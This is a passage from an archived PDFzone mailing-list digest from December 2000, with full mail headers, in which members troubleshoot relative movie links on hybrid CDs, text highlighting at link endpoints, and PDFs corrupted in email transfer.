http://www.pdfzone.com __________________________________________________________________ > Has anybody got a tip for creating relative links to > quicktime moves. We > want to send a batch out on CD but the links, using the movie > tool, keep > coming in absolute and therefore no good for distibution. How, exactly, are you verifying that the links are absolute? Aandi Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 19-Dec-2000 13:28:07-GMT,3247;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id GAA16818 for ; Tue, 19 Dec 2000 06:28:06 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id HAA00400; Tue, 19 Dec 2000 07:27:05 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Tue, 19 Dec 2000 07:18:19 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id HAA32624; Tue, 19 Dec 2000 07:18:18 -0600 Received: from relay.UK.COLT.NET (relay.UK.COLT.NET [195.110.64.110]) by everglades.binc.net (8.8.8/8.8.8) with SMTP id HAA32620 for ; Tue, 19 Dec 2000 07:18:17 -0600 Received: (qmail 3019 invoked from network); 19 Dec 2000 13:18:16 -0000 Received: from unknown (HELO compictserver.completepicture.co.uk) (213.86.13.126) by relay.uk.colt.net with SMTP; 19 Dec 2000 13:18:16 -0000 Received: by COMPICTSERVER with Internet Mail Service (5.5.2650.21) id ; Tue, 19 Dec 2000 13:28:35 -0000 Message-ID: <419F5AE598D2D311B46E00C0F031948308CE36@COMPICTSERVER> From: Paul To: ""'pdf@lists.pdfzone.com'"" Subject: RE: [PDF] Relative Links to Mpegs Date: Tue, 19 Dec 2000 13:28:30 -0000 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset=""iso-8859-1"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ We are working on a Mac and the server has a different path to the PC. When trying to view on a PC it comes up with the Mac path. You can see the path in the movies prefs dialog. However using the example from Jose and opening the file via acrobat not explorer (see previous message) sort of works but I am still getting cant find file on PC. Will Investigate Paul > -----Original Message----- > From: Aandi Inston [mailto:listreader2@quite.com] > Sent: 19 December 2000 12:47 > To: pdf@lists.pdfzone.com > Subject: RE: [PDF] Relative Links to Mpegs > > > > The PDF list is a service provided by PDFzone.com | > http://www.pdfzone.com > __________________________________________________________________ > > > Has anybody got a tip for creating relative links to > > quicktime moves. We > > want to send a batch out on CD but the links, using the movie > > tool, keep > > coming in absolute and therefore no good for distibution. > > How, exactly, are you verifying that the links are absolute? > > Aandi > > Receive the latest PDF News in your Inbox. > > -------------------------------------------------------------- > -------------- > Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 20-Dec-2000 8:43:53-GMT,3104;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id BAA13465 for ; Wed, 20 Dec 2000 01:43:51 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id CAA19138; Wed, 20 Dec 2000 02:32:15 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Wed, 20 Dec 2000 02:23:00 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id CAA18724; Wed, 20 Dec 2000 02:22:58 -0600 Received: from d-n-s.com (d-n-s.com [192.41.30.184] (may be forged)) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id CAA18720 for ; Wed, 20 Dec 2000 02:22:56 -0600 Received: from [144.132.0.126] (CPE-144-132-0-126.vic.bigpond.net.au [144.132.0.126]) by d-n-s.com (8.8.5) id TAA06794; Wed, 20 Dec 2000 19:22:48 +1100 (EST) X-Authentication-Warning: d-n-s.com: Host CPE-144-132-0-126.vic.bigpond.net.au [144.132.0.126] claimed to be [144.132.0.126] User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022 Date: Wed, 20 Dec 2000 18:31:30 +1000 Subject: Re: [PDF] Relative Links to Mpegs From: Dean Laffan To: Message-ID: In-Reply-To: <419F5AE598D2D311B46E00C0F031948308CE36@COMPICTSERVER> Mime-version: 1.0 Content-type: text/plain; charset=""US-ASCII"" Content-transfer-encoding: 7bit Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ on 19/12/00 11:28 pm, Paul at Paul@CompletePicture.co.uk wrote: > > The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com > __________________________________________________________________ > > We are working on a Mac and the server has a different path to the PC. When > trying to view on a PC it comes up with the Mac path. You can see the path > in the movies prefs dialog. > > However using the example from Jose and opening the file via acrobat not > explorer (see previous message) sort of works but I am still getting cant > find file on PC. I think this may have to do with the difference between Mac and PC paths. The pc uses \\backslashes and the Mac uses :colons to delineate hierarchial levels. I had to resave the files on the Mac to get them to work. So on the hybrid discs I had two separate files on each volume. regards *** dean laffan real world productions melbourne, australia ph +613-9419-3966 Mobile - 0418-525-315 It said on the box: 'Requires Windows 95 or better' ... so I bought a Mac ! Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 20-Dec-2000 12:11:55-GMT,2901;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id EAA15987 for ; Wed, 20 Dec 2000 04:04:14 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id EAA24655; Wed, 20 Dec 2000 04:54:32 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Wed, 20 Dec 2000 04:48:51 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id EAA24463; Wed, 20 Dec 2000 04:48:48 -0600 Received: from relay.UK.COLT.NET (relay.UK.COLT.NET [195.110.64.110]) by everglades.binc.net (8.8.8/8.8.8) with SMTP id EAA24459 for ; Wed, 20 Dec 2000 04:48:46 -0600 Received: (qmail 18969 invoked from network); 20 Dec 2000 10:48:46 -0000 Received: from unknown (HELO compictserver.completepicture.co.uk) (213.86.13.126) by relay.uk.colt.net with SMTP; 20 Dec 2000 10:48:46 -0000 Received: by COMPICTSERVER with Internet Mail Service (5.5.2650.21) id ; Wed, 20 Dec 2000 10:59:12 -0000 Message-ID: <419F5AE598D2D311B46E00C0F031948308CE3A@COMPICTSERVER> From: Paul To: ""'pdf@lists.pdfzone.com'"" Subject: RE: [PDF] Relative Links to Mpegs Date: Wed, 20 Dec 2000 10:59:12 -0000 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset=""iso-8859-1"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ I think this may have to do with the difference between Mac and PC paths. The pc uses \\backslashes and the Mac uses :colons to delineate hierarchial levels. I had to resave the files on the Mac to get them to work. So on the hybrid discs I had two separate files on each volume. The Mac does resolve the : and \\ paths Ok that's part of Acrobat. You can use the same files on both parts of a hybrid disk without problem. The problem is that with the mpeg it remembers the whole server path. Paul regards *** dean laffan real world productions melbourne, australia ph +613-9419-3966 Mobile - 0418-525-315 It said on the box: 'Requires Windows 95 or better' ... so I bought a Mac ! Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 20-Dec-2000 14:10:58-GMT,2514;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id HAA19314 for ; Wed, 20 Dec 2000 07:10:57 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id HAA32558; Wed, 20 Dec 2000 07:56:08 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Wed, 20 Dec 2000 07:50:00 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id HAA31996; Wed, 20 Dec 2000 07:49:58 -0600 Received: from smtp.interlog.com (bretweir.total.net [154.11.89.176]) by everglades.binc.net (8.8.8/8.8.8) with SMTP id HAA31992 for ; Wed, 20 Dec 2000 07:49:57 -0600 Date: Wed, 20 Dec 2000 07:49:57 -0600 Received: (qmail 7845 invoked from network); 20 Dec 2000 13:49:55 -0000 Received: from unknown (HELO ?154.20.97.145?) (154.20.97.145) by bretweir.total.net with SMTP; 20 Dec 2000 13:49:55 -0000 X-Sender: mmccombs@pop.psi.ca (Unverified) Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" To: pdf@lists.pdfzone.com From: Murray McCombs Subject: [PDF] Highliting Text at endpoint of a Link/View Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ I suspect that being able to highlight text at the end of a link/view can be accomplished by Javascript within the PDF document. This is the workflow I have in mind: Enter a Text search > highlited text found (already featured in PDF) > Linked to a zoomed view within a large map (vector) > ""I want to highlight a particular text field (one among many) at this final linked fixed zoomed image (vector graphics)"" > pop-up notes > Link from highlit text to picture. Does anyone have suggestions/Javascripts to accomplish the above mentioned workflow ""text highlite"" at the endpoint of a link? Warmest Regards Murray McCOMBS Art Director Procarto Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 20-Dec-2000 19:49:58-GMT,3176;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id MAA27639 for ; Wed, 20 Dec 2000 12:49:57 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id NAA24291; Wed, 20 Dec 2000 13:33:39 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Wed, 20 Dec 2000 13:25:52 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id NAA23770; Wed, 20 Dec 2000 13:25:44 -0600 Received: from dmmail.docmaestro.com (mail.docmaestro.com [4.21.213.227]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id NAA23760 for ; Wed, 20 Dec 2000 13:25:39 -0600 Message-ID: From: Jose Mera To: ""'pdf@lists.pdfzone.com'"" Subject: RE: [PDF] Highliting Text at endpoint of a Link/View Date: Wed, 20 Dec 2000 14:28:48 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ We have an Acrobat plug-in that will highlight the text within a link rectangle. If that meets your needs contact the undersigned directly. Jose Mera VP DocMaestro Products Div. ISPA, Inc. 1700 McMullen Booth Rd., Suite C-3 Clearwater, Fl 33759 Phone: 727-669-8911 x222 Fax: 727-669-6410 http://www.DocMaestro.com -----Original Message----- From: Murray McCombs [mailto:mmccombs@interlog.com] Sent: Wednesday, December 20, 2000 8:50 AM To: pdf@lists.pdfzone.com Subject: [PDF] Highliting Text at endpoint of a Link/View The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ I suspect that being able to highlight text at the end of a link/view can be accomplished by Javascript within the PDF document. This is the workflow I have in mind: Enter a Text search > highlited text found (already featured in PDF) > Linked to a zoomed view within a large map (vector) > ""I want to highlight a particular text field (one among many) at this final linked fixed zoomed image (vector graphics)"" > pop-up notes > Link from highlit text to picture. Does anyone have suggestions/Javascripts to accomplish the above mentioned workflow ""text highlite"" at the endpoint of a link? Warmest Regards Murray McCOMBS Art Director Procarto Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 20-Dec-2000 20:54:05-GMT,3711;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id NAA29162 for ; Wed, 20 Dec 2000 13:54:04 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id OAA27418; Wed, 20 Dec 2000 14:28:21 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Wed, 20 Dec 2000 14:22:55 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id OAA27111; Wed, 20 Dec 2000 14:22:54 -0600 Received: from mail.thebault.com (mail.thebault.com [207.26.64.66]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id OAA27107 for ; Wed, 20 Dec 2000 14:22:53 -0600 Received: from rogue.thebault.com (exchange) by mail.thebault.com with ESMTP id PAA05306 (InterLock SMTP Gateway 4.2 for ); Wed, 20 Dec 2000 15:23:01 -0500 (EST) Received: by ROGUE with Internet Mail Service (5.5.2650.21) id ; Wed, 20 Dec 2000 15:20:20 -0500 Message-ID: From: ""Shick, Rebecca"" To: ""'pdf@lists.pdfzone.com'"" Subject: [PDF] Mac vs PC Date: Wed, 20 Dec 2000 15:20:19 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset=""iso-8859-1"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Calling all experts, calling all experts. We had a couple of good ones today. I received two PDF files today, via email. By default, they were opened on a Mac (running system 9.0.4 with 384mb RAM, with Adobe InProduction and 120 mb RAM allocated to it) and I received two error messages that I have never seen before: First file: The page started to display, showed a page dimension of 8.54"" x 11.04"". Message appears: ""An unrecognized token 'I7' was found."" (click ok) Message appears: ""There were several parsing errors on this page."" (click ok) The page goes to white. I fit the page to window, deleted what appeared to be a white box, the page dimension changes to 12.6"" x 18.31"" and some elements display. I ""undeleted"" the ""white"" box and the brown page background reappeared. The page didn't scale, it was just the artwork in the middle of a much bigger page. Very bizzare. But wait, there's more... Second file: Opened on the same system as above. Page starts to display, message appears: ""There was an error processing a page. Too few operands."" The page goes blank. I end up with a document with two blank pages. Here's the twist--the second file was opened on a PC running windows NT4, with Acrobat full version (no InProduction)and gave the same ""...Too few operands"" error. Both files opened on a PC running windows 2000 and the same level of Acrobat as the other PC and no errors on either one, they both printed fine. I don't know what it all means yet, but you have to admit, this is interesting stuff. Anyone have similar experiences? solutions? ideas? You can't make this stuff up. Becky Shick Desktop Manager L. P. Thebault Company Phone: 973-952-8307 Mobile: 973-418-5140 eFax : 509-356-9055 rshick@thebault.com Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 20-Dec-2000 21:14:31-GMT,3626;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id OAA29646 for ; Wed, 20 Dec 2000 14:14:30 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id OAA29175; Wed, 20 Dec 2000 14:51:53 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Wed, 20 Dec 2000 14:45:50 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id OAB28594; Wed, 20 Dec 2000 14:45:49 -0600 Received: from raq.prodok.net (www.ewebcart.com [209.217.19.156] (may be forged)) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id OAA28588 for ; Wed, 20 Dec 2000 14:45:47 -0600 Received: from [192.168.0.7] (client74-136.hispeed.ch [62.2.74.136]) by raq.prodok.net (8.9.3/8.9.3) with ESMTP id QAA25805; Tue, 19 Dec 2000 16:52:18 -0500 Mime-Version: 1.0 X-Sender: max%prodok.com@mail7.burlee.com Message-Id: In-Reply-To: References: Date: Wed, 20 Dec 2000 21:43:44 +0100 To: pdf@lists.pdfzone.com From: Max Wyss Subject: Re: [PDF] Mac vs PC Cc: ""Shick, Rebecca"" Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Rebecca, This sounds very much like a problem caused by a faulty e-mail transmission where one station ""believed"" that the PDF documents were text files, and did some conversions. Have your client ZIP their files, and they should come in OK. Hope, this can help. Max Wyss PRODOK Engineering Low Paper workflows, Smart documents, PDF forms CH-8906 Bonstetten, Switzerland Fax: +41 1 700 20 37 e-mail: mailto:max@prodok.com http://www.prodok.com [ Building Bridges for Information ] ______________________ >Calling all experts, calling all experts. We had a couple of good ones >today. I received two PDF files today, via email. By default, they were >opened on a Mac (running system 9.0.4 with 384mb RAM, with Adobe >InProduction and 120 mb RAM allocated to it) and I received two error >messages that I have never seen before: > >First file: >The page started to display, showed a page dimension of 8.54"" x 11.04"". >Message appears: ""An unrecognized token 'I7' was found."" (click ok) >Message appears: ""There were several parsing errors on this page."" (click >ok) >The page goes to white. >Second file: >Opened on the same system as above. >Page starts to display, message appears: ""There was an error processing a >page. Too few operands."" >The page goes blank. I end up with a document with two blank pages. > >Here's the twist--the second file was opened on a PC running windows NT4, >with Acrobat full version (no InProduction)and gave the same ""...Too few >operands"" error. Both files opened on a PC running windows 2000 and the same >level of Acrobat as the other PC and no errors on either one, they both >printed fine. > Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 20-Dec-2000 21:14:32-GMT,3918;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id OAA29649 for ; Wed, 20 Dec 2000 14:14:31 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id PAA29812; Wed, 20 Dec 2000 15:00:23 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Wed, 20 Dec 2000 14:55:00 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id OAA29329; Wed, 20 Dec 2000 14:54:59 -0600 Received: from mail.thebault.com (mail.thebault.com [207.26.64.66]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id OAA29325 for ; Wed, 20 Dec 2000 14:54:58 -0600 Received: from rogue.thebault.com (exchange) by mail.thebault.com with ESMTP id PAA05522 (InterLock SMTP Gateway 4.2 for ); Wed, 20 Dec 2000 15:55:06 -0500 (EST) Received: by ROGUE with Internet Mail Service (5.5.2650.21) id ; Wed, 20 Dec 2000 15:52:25 -0500 Message-ID: From: ""Shick, Rebecca"" To: pdf@lists.pdfzone.com Subject: RE: [PDF] Mac vs PC Date: Wed, 20 Dec 2000 15:52:25 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset=""iso-8859-1"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Really?? I thought that was one of the beauties of PDF, being able to move seamlessly from platform to platform? Thanks for the tip. -----Original Message----- From: Max Wyss [mailto:max@prodok.com] Sent: Wednesday, December 20, 2000 3:44 PM To: pdf@lists.pdfzone.com Cc: Shick, Rebecca Subject: Re: [PDF] Mac vs PC Rebecca, This sounds very much like a problem caused by a faulty e-mail transmission where one station ""believed"" that the PDF documents were text files, and did some conversions. Have your client ZIP their files, and they should come in OK. Hope, this can help. Max Wyss PRODOK Engineering Low Paper workflows, Smart documents, PDF forms CH-8906 Bonstetten, Switzerland Fax: +41 1 700 20 37 e-mail: mailto:max@prodok.com http://www.prodok.com [ Building Bridges for Information ] ______________________ >Calling all experts, calling all experts. We had a couple of good ones >today. I received two PDF files today, via email. By default, they were >opened on a Mac (running system 9.0.4 with 384mb RAM, with Adobe >InProduction and 120 mb RAM allocated to it) and I received two error >messages that I have never seen before: > >First file: >The page started to display, showed a page dimension of 8.54"" x 11.04"". >Message appears: ""An unrecognized token 'I7' was found."" (click ok) >Message appears: ""There were several parsing errors on this page."" (click >ok) >The page goes to white. >Second file: >Opened on the same system as above. >Page starts to display, message appears: ""There was an error processing a >page. Too few operands."" >The page goes blank. I end up with a document with two blank pages. > >Here's the twist--the second file was opened on a PC running windows NT4, >with Acrobat full version (no InProduction)and gave the same ""...Too few >operands"" error. Both files opened on a PC running windows 2000 and the same >level of Acrobat as the other PC and no errors on either one, they both >printed fine. > Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 20-Dec-2000 21:21:25-GMT,2560;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id OAA29840 for ; Wed, 20 Dec 2000 14:21:24 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id PAA30590; Wed, 20 Dec 2000 15:10:22 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Wed, 20 Dec 2000 15:04:57 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id PAA30062; Wed, 20 Dec 2000 15:04:55 -0600 Received: from smtp.digapp.com ([38.164.135.2]) by everglades.binc.net (8.8.8/8.8.8) with SMTP id PAA30055 for ; Wed, 20 Dec 2000 15:04:53 -0600 Received: from [207.29.200.50] by smtp.digapp.com (AppleShare IP Mail Server 6.3) id 78675 via TCP with SMTP; Wed, 20 Dec 2000 16:05:38 -0500 Mime-Version: 1.0 X-Sender: leonardr@smtp.digapp.com Message-Id: In-Reply-To: References: Date: Wed, 20 Dec 2000 16:00:40 -0500 To: pdf@lists.pdfzone.com From: Leonard Rosenthol Subject: Re: [PDF] Mac vs PC Cc: RShick@thebault.com Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ At 3:20 PM -0500 12/20/00, Shick, Rebecca wrote: >Calling all experts, calling all experts. We had a couple of good ones >today. I received two PDF files today, via email. Were the files sent stuffed or zipped, or send ""raw"" in the EMail? If so, what program (name and version) did you use to expand the archive ? Leonard -- ---------------------------------------------------------------------------- Leonard Rosenthol Sr. Software Engineer (215) 922-3509 (voice) Digital Applications (215) 440-0504 (fax) PGP Fingerprint: 8CC9 8878 921E C627 0BC1 15BB FC19 64A9 0016 1397 Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 20-Dec-2000 21:39:22-GMT,3227;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id OAA00273 for ; Wed, 20 Dec 2000 14:39:21 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id PAA32281; Wed, 20 Dec 2000 15:30:19 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Wed, 20 Dec 2000 15:23:35 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id PAA31603; Wed, 20 Dec 2000 15:23:33 -0600 Received: from mail.thebault.com (mail.thebault.com [207.26.64.66]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id PAA31599 for ; Wed, 20 Dec 2000 15:23:32 -0600 Received: from rogue.thebault.com (exchange) by mail.thebault.com with ESMTP id QAA05734 (InterLock SMTP Gateway 4.2 for ); Wed, 20 Dec 2000 16:23:40 -0500 (EST) Received: by ROGUE with Internet Mail Service (5.5.2650.21) id ; Wed, 20 Dec 2000 16:20:59 -0500 Message-ID: From: ""Shick, Rebecca"" To: ""'pdf@lists.pdfzone.com'"" Subject: RE: [PDF] Mac vs PC Date: Wed, 20 Dec 2000 16:20:58 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset=""iso-8859-1"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ They were sent via email as native PDF, no compression or encoding. -----Original Message----- From: Leonard Rosenthol [mailto:leonardr@digapp.com] Sent: Wednesday, December 20, 2000 4:01 PM To: pdf@lists.pdfzone.com Cc: RShick@thebault.com Subject: Re: [PDF] Mac vs PC The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ At 3:20 PM -0500 12/20/00, Shick, Rebecca wrote: >Calling all experts, calling all experts. We had a couple of good ones >today. I received two PDF files today, via email. Were the files sent stuffed or zipped, or send ""raw"" in the EMail? If so, what program (name and version) did you use to expand the archive ? Leonard -- ---------------------------------------------------------------------------- Leonard Rosenthol Sr. Software Engineer (215) 922-3509 (voice) Digital Applications (215) 440-0504 (fax) PGP Fingerprint: 8CC9 8878 921E C627 0BC1 15BB FC19 64A9 0016 1397 Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 20-Dec-2000 21:39:49-GMT,2739;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id OAA00295 for ; Wed, 20 Dec 2000 14:39:48 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id PAA32532; Wed, 20 Dec 2000 15:31:27 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Wed, 20 Dec 2000 15:25:23 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id PAA31830; Wed, 20 Dec 2000 15:25:15 -0600 Received: from raq.prodok.net (www.ewebcart.com [209.217.19.156] (may be forged)) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id PAA31820 for ; Wed, 20 Dec 2000 15:25:13 -0600 Received: from [192.168.0.7] (client74-136.hispeed.ch [62.2.74.136]) by raq.prodok.net (8.9.3/8.9.3) with ESMTP id RAA26455; Tue, 19 Dec 2000 17:32:37 -0500 Mime-Version: 1.0 X-Sender: max%prodok.com@mail7.burlee.com Message-Id: In-Reply-To: References: Date: Wed, 20 Dec 2000 22:16:55 +0100 To: pdf@lists.pdfzone.com From: Max Wyss Subject: RE: [PDF] Mac vs PC Cc: ""Shick, Rebecca"" Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Rebecca, The problem you encounter is not really a PDF problem. A PDF document can be moved from one platform to another one with no big problems. However, when the transport system messes up the files to be transported, there is not really anything we can do about it. Imagine the baggage handlers bashing your luggage to make it fit into a container... Take care. Max Wyss PRODOK Engineering Low Paper workflows, Smart documents, PDF forms CH-8906 Bonstetten, Switzerland Fax: +41 1 700 20 37 e-mail: mailto:max@prodok.com http://www.prodok.com [ Building Bridges for Information ] ______________________ >Really?? I thought that was one of the beauties of PDF, being able to move >seamlessly from platform to platform? Thanks for the tip. Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 20-Dec-2000 22:52:52-GMT,2447;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id PAA02099 for ; Wed, 20 Dec 2000 15:52:51 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id QAA04705; Wed, 20 Dec 2000 16:43:12 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Wed, 20 Dec 2000 16:37:27 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id QAA04360; Wed, 20 Dec 2000 16:37:26 -0600 Received: from mr14.vic-remote.bigpond.net.au 